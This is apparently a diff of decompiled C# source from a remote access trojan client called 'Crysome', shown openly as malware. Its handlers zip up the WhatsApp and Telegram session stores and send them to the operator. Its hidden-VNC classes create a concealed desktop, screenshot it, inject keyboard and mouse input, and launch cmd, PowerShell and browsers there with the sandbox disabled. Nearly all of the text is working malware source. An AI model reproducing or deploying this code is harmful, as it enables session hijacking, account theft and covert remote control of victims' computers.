//IL_000d: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0032: Expected O, but got Unknown
try
{
client.SendPacket((IPacket)new TelegramSessionResponsePacket
{
UserName = userName,
ZipBytes = (zip ?? Array.Empty<byte>()),
Error = (error ?? "")
});
}
catch (Exception ex)
{
Program.Log("TelegramSession send error: " + ex.Message);
}
}
}
Crysome.Client/Crysome.Client.Handlers/WhatsAppHandlers.cs
+138
View File
@@ -0,0 +1,138 @@
using System;
using System.IO;
using System.IO.Compression;
using System.Threading.Tasks;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
namespace Crysome.Client.Handlers;
public static class WhatsAppHandlers
{
private static long _totalBytes;
private static readonly long MaxZipBytes = 52428800L;
public static void HandleWhatsAppSessionRequest(CrysomeClient client, IPacket packet)
{
Task.Run(delegate
{
DoCollectWhatsAppSession(client);
});
}
private static void DoCollectWhatsAppSession(CrysomeClient client)
{
//IL_0149: Unknown result type (might be due to invalid IL or missing references)
//IL_0153: Expected O, but got Unknown
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
//IL_0033: Expected O, but got Unknown
//IL_00ef: Unknown result type (might be due to invalid IL or missing references)
//IL_00f9: Expected O, but got Unknown
//IL_00db: Unknown result type (might be due to invalid IL or missing references)
//IL_00e5: Expected O, but got Unknown
_totalBytes = 0L;
try
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "WhatsApp");
if (!Directory.Exists(text))
{
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "WhatsApp not installed or no session found.", (byte[])null));
return;
}
string[] array = new string[3]
{
Path.Combine(text, "Local Storage"),
Path.Combine(text, "Session Storage"),
Path.Combine(text, "IndexedDB")
};
using MemoryStream memoryStream = new MemoryStream();
using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
{
string[] array2 = array;
foreach (string text2 in array2)
{
if (Directory.Exists(text2))
{
string fileName = Path.GetFileName(text2);
AddDirectoryToZip(zip, text2, fileName, 52428800L);
}
}
}
byte[] array3 = memoryStream.ToArray();
if (array3.Length == 0)
{
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "No WhatsApp session files found.", (byte[])null));
return;
}
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(true, "", array3));
Program.Log("WhatsApp session sent: " + array3.Length + " bytes");
}
catch (Exception ex)
{
Program.Log("WhatsApp session error: " + ex.Message);
try
{
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, ex.Message, (byte[])null));
}
catch
{
}
}
}
private static void AddDirectoryToZip(ZipArchive zip, string sourceDir, string zipFolder, long maxBytes, int depth = 0)
{
if (depth > 8 || _totalBytes > maxBytes)
{
return;
}
try
{
string[] files = Directory.GetFiles(sourceDir);
foreach (string text in files)
{
if (_totalBytes > maxBytes)
{
return;
}
try
{
FileInfo fileInfo = new FileInfo(text);
if (fileInfo.Length > 10485760)
{
continue;
}
string entryName = zipFolder + "/" + Path.GetFileName(text);
using Stream destination = zip.CreateEntry(entryName, CompressionLevel.Fastest).Open();
using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
fileStream.CopyTo(destination);
_totalBytes += fileInfo.Length;
}
catch
{
}
}
}
catch
{
}
try
{
string[] files = Directory.GetDirectories(sourceDir);
foreach (string text2 in files)
{
if (_totalBytes > maxBytes)
{
break;
}
string zipFolder2 = zipFolder + "/" + Path.GetFileName(text2);
AddDirectoryToZip(zip, text2, zipFolder2, maxBytes, depth + 1);
}
}
catch
{
}
}
}
Crysome.Client/Crysome.Client.Hvnc/HvncImagingHandler.cs
+291
View File
@@ -0,0 +1,291 @@
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
namespace Crysome.Client.Hvnc;
internal sealed class HvncImagingHandler : IDisposable
{
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private const uint DESKTOP_GENERIC_ALL = 511u;
private const uint GW_HWNDLAST = 1u;
private const uint GW_HWNDPREV = 3u;
private const int VERTRES = 10;
private const int DESKTOPVERTRES = 117;
private const uint SRCCOPY = 13369376u;
public IntPtr Desktop { get; }
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindowDC(IntPtr hWnd);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public HvncImagingHandler(string desktopName)
{
IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
}
Desktop = intPtr;
}
private static float GetScalingFactor()
{
using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero);
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
int deviceCaps2 = GetDeviceCaps(hdc, 117);
graphics.ReleaseHdc(hdc);
return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f;
}
private static bool IsMostlyBlack(Bitmap bmp)
{
if (bmp == null || bmp.Width == 0 || bmp.Height == 0)
{
return true;
}
int num = Math.Max(1, bmp.Width / 20);
int num2 = Math.Max(1, bmp.Height / 20);
int num3 = 0;
int num4 = 0;
BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);
try
{
int stride = bitmapData.Stride;
IntPtr scan = bitmapData.Scan0;
for (int i = 0; i < bmp.Height; i += num2)
{
for (int j = 0; j < bmp.Width; j += num)
{
int num5 = i * stride + j * 4;
byte b = Marshal.ReadByte(scan, num5);
byte b2 = Marshal.ReadByte(scan, num5 + 1);
byte num6 = Marshal.ReadByte(scan, num5 + 2);
num3++;
if (num6 < 20 && b2 < 20 && b < 20)
{
num4++;
}
}
}
}
finally
{
bmp.UnlockBits(bitmapData);
}
if (num3 > 0)
{
return num4 * 100 / num3 > 80;
}
return false;
}
private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale)
{
int num = (int)((float)(r.Right - r.Left) * scale);
int num2 = (int)((float)(r.Bottom - r.Top) * scale);
if (num <= 0 || num2 <= 0)
{
return false;
}
IntPtr windowDC = GetWindowDC(hWnd);
if (windowDC == IntPtr.Zero)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(dc);
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
IntPtr hgdiobj = SelectObject(intPtr, intPtr2);
bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u);
SelectObject(intPtr, hgdiobj);
if (flag)
{
try
{
using Bitmap image = Image.FromHbitmap(intPtr2);
g.DrawImage(image, r.Left, r.Top);
}
catch
{
flag = false;
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
ReleaseDC(hWnd, windowDC);
return flag;
}
private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc)
{
if (!GetWindowRect(hWnd, out var lpRect))
{
return false;
}
float scalingFactor = GetScalingFactor();
int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor);
int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor);
if (num <= 0 || num2 <= 0)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(dc);
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
SelectObject(intPtr, intPtr2);
if (PrintWindow(hWnd, intPtr, 2u))
{
try
{
using Bitmap original = Image.FromHbitmap(intPtr2);
using Bitmap bitmap = new Bitmap(original);
if (!IsMostlyBlack(bitmap))
{
g.DrawImage(bitmap, lpRect.Left, lpRect.Top);
DeleteObject(intPtr2);
DeleteDC(intPtr);
return true;
}
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor);
}
private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc)
{
IntPtr topWindow = GetTopWindow(owner);
if (topWindow == IntPtr.Zero)
{
return;
}
topWindow = GetWindow(topWindow, 1u);
while (topWindow != IntPtr.Zero)
{
if (IsWindowVisible(topWindow))
{
DrawWindow(topWindow, g, dc);
}
topWindow = GetWindow(topWindow, 3u);
}
}
public Bitmap Screenshot()
{
if (Desktop == IntPtr.Zero)
{
return null;
}
SetThreadDesktop(Desktop);
IntPtr dC = GetDC(IntPtr.Zero);
if (dC == IntPtr.Zero)
{
return null;
}
if (!GetWindowRect(GetDesktopWindow(), out var lpRect))
{
ReleaseDC(IntPtr.Zero, dC);
return null;
}
float scalingFactor = GetScalingFactor();
int num = (int)((float)lpRect.Right * scalingFactor);
int num2 = (int)((float)lpRect.Bottom * scalingFactor);
if (num <= 0 || num2 <= 0)
{
ReleaseDC(IntPtr.Zero, dC);
return null;
}
Bitmap bitmap = new Bitmap(num, num2);
using (Graphics g = Graphics.FromImage(bitmap))
{
DrawTopDown(IntPtr.Zero, g, dC);
}
ReleaseDC(IntPtr.Zero, dC);
return bitmap;
}
public void Dispose()
{
if (Desktop != IntPtr.Zero)
{
CloseDesktop(Desktop);
}
}
}
Crysome.Client/Crysome.Client.Hvnc/HvncInputHandler.cs
+469
View File
@@ -0,0 +1,469 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Crysome.Client.Hvnc;
public class HvncInputHandler : IDisposable
{
[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)]
private struct KEY_EVENT_RECORD
{
[FieldOffset(0)]
public int bKeyDown;
[FieldOffset(4)]
public ushort wRepeatCount;
[FieldOffset(6)]
public ushort wVirtualKeyCode;
[FieldOffset(8)]
public ushort wVirtualScanCode;
[FieldOffset(10)]
public char UnicodeChar;
[FieldOffset(12)]
public uint dwControlKeyState;
}
[StructLayout(LayoutKind.Explicit)]
private struct INPUT_RECORD
{
[FieldOffset(0)]
public ushort EventType;
[FieldOffset(2)]
public KEY_EVENT_RECORD KeyEvent;
}
private Utils.POINT lastPoint = new Utils.POINT
{
x = 0,
y = 0
};
private IntPtr hResMoveWindow = IntPtr.Zero;
private IntPtr resMoveType = IntPtr.Zero;
private bool lmouseDown;
private static object lockObject = new object();
private string DesktopName;
public IntPtr Desktop = IntPtr.Zero;
private const int STD_INPUT_HANDLE = -10;
private const ushort KEY_EVENT = 1;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool AttachConsole(uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FreeConsole();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten);
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch)
{
try
{
Utils.GetWindowThreadProcessId(hWnd, out var ProcessId);
if (ProcessId == 0)
{
return false;
}
if (!AttachConsole(ProcessId))
{
return false;
}
try
{
IntPtr stdHandle = GetStdHandle(-10);
if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1))
{
return false;
}
ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u);
INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD
{
EventType = 1,
KeyEvent = new KEY_EVENT_RECORD
{
bKeyDown = 1,
wRepeatCount = 1,
wVirtualKeyCode = (ushort)vk,
wVirtualScanCode = wVirtualScanCode,
UnicodeChar = ch,
dwControlKeyState = 0u
}
};
INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD
{
EventType = 1,
KeyEvent = new KEY_EVENT_RECORD
{
bKeyDown = 0,
wRepeatCount = 1,
wVirtualKeyCode = (ushort)vk,
wVirtualScanCode = wVirtualScanCode,
UnicodeChar = ch,
dwControlKeyState = 0u
}
};
WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _);
return true;
}
finally
{
FreeConsole();
}
}
catch
{
return false;
}
}
private static bool IsConsoleWindow(IntPtr hWnd)
{
StringBuilder stringBuilder = new StringBuilder(64);
Utils.RealGetWindowClass(hWnd, stringBuilder, 64);
return stringBuilder.ToString() == "ConsoleWindowClass";
}
public HvncInputHandler(string DesktopName)
{
this.DesktopName = DesktopName;
IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u);
if (intPtr == IntPtr.Zero)
{
intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
}
Desktop = intPtr;
}
public void Dispose()
{
if (Desktop != IntPtr.Zero)
{
Utils.CloseDesktop(Desktop);
}
GC.Collect();
}
public static int GET_X_LPARAM(IntPtr lParam)
{
return (short)(lParam.ToInt32() & 0xFFFF);
}
public static int GET_Y_LPARAM(IntPtr lParam)
{
return (short)((lParam.ToInt32() >> 16) & 0xFFFF);
}
public static IntPtr MAKELPARAM(int lowWord, int highWord)
{
return new IntPtr((highWord << 16) | (lowWord & 0xFFFF));
}
public void ResetWindowsTopDown(IntPtr ownerhWnd)
{
IntPtr topWindow = Utils.GetTopWindow(ownerhWnd);
if (topWindow == IntPtr.Zero)
{
return;
}
IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST);
if (window == IntPtr.Zero)
{
return;
}
while (window != IntPtr.Zero)
{
if (Utils.IsWindowVisible(window))
{
Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u);
}
window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV);
}
}
public static void SendStringToWindow(IntPtr hWnd, string text)
{
for (int i = 0; i < text.Length; i++)
{
ushort num = Utils.VkKeyScan(text[i]);
if (num != ushort.MaxValue)
{
Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero);
continue;
}
break;
}
}
public Process GetProcessFromhWnd(IntPtr handle)
{
try
{
Utils.GetWindowThreadProcessId(handle, out var ProcessId);
return Process.GetProcessById((int)ProcessId);
}
catch
{
}
return null;
}
public string GetTopMostWindowName()
{
Utils.SetThreadDesktop(Desktop);
Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow());
string processName = processFromhWnd.ProcessName;
processFromhWnd.Dispose();
return processName;
}
public IntPtr FindTopMostWindow()
{
IntPtr activeWindowHandle = IntPtr.Zero;
Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero);
return activeWindowHandle;
bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam)
{
if (Utils.IsWindowVisible(hWnd))
{
activeWindowHandle = hWnd;
}
return true;
}
}
public void PasteText(string text)
{
Utils.SetThreadDesktop(Desktop);
IntPtr intPtr = FindTopMostWindow();
if (!(intPtr == IntPtr.Zero))
{
SendStringToWindow(intPtr, text);
}
}
public void PasteFromClientClipboard()
{
IntPtr intPtr = FindTopMostWindow();
if (!(intPtr == IntPtr.Zero))
{
Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero);
}
}
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
{
lock (lockObject)
{
Utils.SetThreadDesktop(Desktop);
_ = IntPtr.Zero;
bool flag = false;
Utils.POINT lpPoint = default(Utils.POINT);
IntPtr intPtr;
if (msg - 256 <= 2)
{
lpPoint = lastPoint;
intPtr = Utils.WindowFromPoint(lpPoint);
if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr))
{
char ch = (char)wParam.ToInt32();
uint vk = (uint)wParam.ToInt32();
TrySendConsoleInput(intPtr, vk, ch);
return;
}
}
else
{
flag = true;
lpPoint.x = GET_X_LPARAM(lParam);
lpPoint.y = GET_Y_LPARAM(lParam);
Utils.POINT pOINT = lastPoint;
lastPoint = lpPoint;
intPtr = Utils.WindowFromPoint(lpPoint);
switch (msg)
{
case 513u:
{
lmouseDown = true;
hResMoveWindow = IntPtr.Zero;
IntPtr intPtr2 = Utils.FindWindow("Button", null);
Utils.GetWindowRect(intPtr2, out var lpRect2);
if (Utils.PtInRect(ref lpRect2, lpPoint))
{
Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, IntPtr.Zero);
return;
}
StringBuilder stringBuilder = new StringBuilder(260);
Utils.RealGetWindowClass(intPtr, stringBuilder, 260);
if (stringBuilder.ToString() == "#32768")
{
IntPtr subMenu = Utils.GetSubMenu(intPtr, 0);
int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint);
Utils.GetMenuItemID(subMenu, num7);
Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero);
Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero);
return;
}
break;
}
case 514u:
lmouseDown = false;
switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32())
{
case -1:
Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000);
Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
break;
case 8:
Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero);
break;
case 9:
{
Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT);
lpwndpl.length = Marshal.SizeOf(lpwndpl);
Utils.GetWindowPlacement(intPtr, ref lpwndpl);
if ((lpwndpl.flags & 3) != 0)
{
Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero);
}
else
{
Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero);
}
break;
}
case 20:
Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero);
break;
}
break;
case 512u:
if (lmouseDown)
{
if (hResMoveWindow == IntPtr.Zero)
{
resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
}
else
{
intPtr = hResMoveWindow;
}
int num = pOINT.x - lpPoint.x;
int num2 = pOINT.y - lpPoint.y;
Utils.GetWindowRect(intPtr, out var lpRect);
int num3 = lpRect.left;
int num4 = lpRect.top;
int num5 = lpRect.right - lpRect.left;
int num6 = lpRect.bottom - lpRect.top;
switch (resMoveType.ToInt32())
{
default:
return;
case 2:
num3 -= num;
num4 -= num2;
break;
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
return;
case 10:
num3 -= num;
num5 += num;
break;
case 11:
num5 -= num;
break;
case 12:
num4 -= num2;
num6 += num2;
break;
case 13:
num4 -= num2;
num6 += num2;
num3 -= num;
num5 += num;
break;
case 14:
num4 -= num2;
num6 += num2;
num5 -= num;
break;
case 15:
num6 -= num2;
break;
case 16:
num6 -= num2;
num3 -= num;
num5 += num;
break;
case 17:
num6 -= num2;
num5 -= num;
break;
}
Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false);
hResMoveWindow = intPtr;
return;
}
break;
}
}
IntPtr intPtr3 = intPtr;
IntPtr intPtr4;
do
{
intPtr4 = intPtr3;
Utils.ScreenToClient(intPtr4, ref lpPoint);
}
while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4));
if (flag)
{
lParam = MAKELPARAM(lpPoint.x, lpPoint.y);
StringBuilder stringBuilder2 = new StringBuilder(260);
Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260);
string text = stringBuilder2.ToString();
if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero)
{
switch (text)
{
case "SysTreeView32":
case "Button":
case "DirectUIHWND":
if (msg == 514 && text != "DirectUIHWND")
{
Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009));
}
break;
}
return;
}
}
Utils.PostMessage(intPtr4, msg, wParam, lParam);
}
}
}
Crysome.Client/Crysome.Client.Hvnc/HvncProcessHandler.cs
+773
View File
@@ -0,0 +1,773 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Win32;
namespace Crysome.Client.Hvnc;
internal sealed class HvncProcessHandler
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
private const int CREATE_NEW_CONSOLE = 16;
private const int CREATE_UNICODE_ENVIRONMENT = 1024;
private readonly string _desktopName;
private const string ChromiumFlags = "--no-sandbox --allow-no-sandbox-job --disable-gpu";
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
public HvncProcessHandler(string desktopName)
{
_desktopName = desktopName;
}
private static bool IsAdmin()
{
try
{
using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent();
return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator);
}
catch
{
return false;
}
}
public bool StartExplorer()
{
string text = "C:\\Windows\\explorer.exe /NoUACCheck";
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
{
return true;
}
return CreateProc(text);
}
public bool StartRunDialog()
{
return CreateProc("C:\\Windows\\System32\\rundll32.exe shell32.dll,#61");
}
public bool StartCmd()
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "cmd.exe");
text = (string.IsNullOrEmpty(text) ? "cmd.exe" : text);
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
{
return true;
}
return CreateProc(text);
}
public bool StartPowerShell()
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "WindowsPowerShell", "v1.0", "powershell.exe");
if (!File.Exists(text))
{
text = "powershell.exe";
}
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
{
return true;
}
return CreateProc(text);
}
public bool StartNotepad()
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe");
if (File.Exists(text))
{
return CreateProc(text);
}
return false;
}
public bool StartCalculator()
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "calc.exe");
if (File.Exists(text))
{
return CreateProc(text);
}
text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32", "calc.exe");
if (File.Exists(text))
{
return CreateProc(text);
}
return false;
}
private static string GetRegPath(string keyPath, string valueName = "")
{
try
{
if (Registry.GetValue(keyPath, valueName, null) is string text)
{
string text2 = text.Trim('"');
if (text2.Contains("\""))
{
text2 = text2.Split('"')[1];
}
return text2;
}
}
catch
{
}
return null;
}
public string GetChromePath()
{
try
{
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry32).OpenSubKey("ChromeHTML\\shell\\open\\command");
if (registryKey != null && registryKey.GetValue(null) is string text)
{
string[] array = text.Split('"');
return (array.Length >= 2) ? array[1] : null;
}
}
catch
{
}
return null;
}
public string GetEdgePath()
{
try
{
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe");
return registryKey?.GetValue("") as string;
}
catch
{
}
return null;
}
public string GetFirefoxPath()
{
try
{
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox");
if (!(registryKey?.GetValue("CurrentVersion") is string text))
{
return null;
}
using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox\\" + text + "\\Main");
return registryKey2?.GetValue("PathToExe") as string;
}
catch
{
}
return null;
}
public string GetOperaPath()
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
if (registryKey == null)
{
return null;
}
string[] subKeyNames = registryKey.GetSubKeyNames();
foreach (string text in subKeyNames)
{
if (!text.Contains("Opera") || text.Contains("GX"))
{
continue;
}
using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
if (registryKey2?.GetValue("") is string text2)
{
return text2.Trim('"');
}
}
}
catch
{
}
return null;
}
public string GetOperaGXPath()
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
if (registryKey == null)
{
return null;
}
string[] subKeyNames = registryKey.GetSubKeyNames();
foreach (string text in subKeyNames)
{
if (!text.Contains("Opera") || !text.Contains("GX"))
{
continue;
}
using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
if (registryKey2?.GetValue("") is string text2)
{
return text2.Trim('"');
}
}
}
catch
{
}
return null;
}
public string GetBravePath()
{
return GetRegPath("HKEY_CLASSES_ROOT\\BraveHTML\\shell\\open\\command");
}
public bool StartChrome()
{
string chromePath = GetChromePath();
if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
{
return false;
}
return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
}
public bool StartChromeCloned()
{
string chromePath = GetChromePath();
if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
{
return false;
}
return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
}
public bool StartEdge()
{
string edgePath = GetEdgePath();
if (string.IsNullOrEmpty(edgePath) || !File.Exists(edgePath))
{
return false;
}
return CreateProc("\"" + edgePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\EdgeAutomationData");
}
public bool StartFirefox()
{
string firefoxPath = GetFirefoxPath();
if (string.IsNullOrEmpty(firefoxPath) || !File.Exists(firefoxPath))
{
return false;
}
return CreateProc("\"" + firefoxPath + "\" -no-remote -profile C:\\FirefoxAutomationData");
}
public bool StartOpera()
{
string operaPath = GetOperaPath();
if (string.IsNullOrEmpty(operaPath) || !File.Exists(operaPath))
{
return false;
}
return CreateProc("\"" + operaPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaAutomationData");
}
public bool StartOperaGX()
{
string operaGXPath = GetOperaGXPath();
if (string.IsNullOrEmpty(operaGXPath) || !File.Exists(operaGXPath))
{
return false;
}
return CreateProc("\"" + operaGXPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaGXAutomationData");
}
public bool StartBrave()
{
string bravePath = GetBravePath();
if (string.IsNullOrEmpty(bravePath) || !File.Exists(bravePath))
{
return false;
}
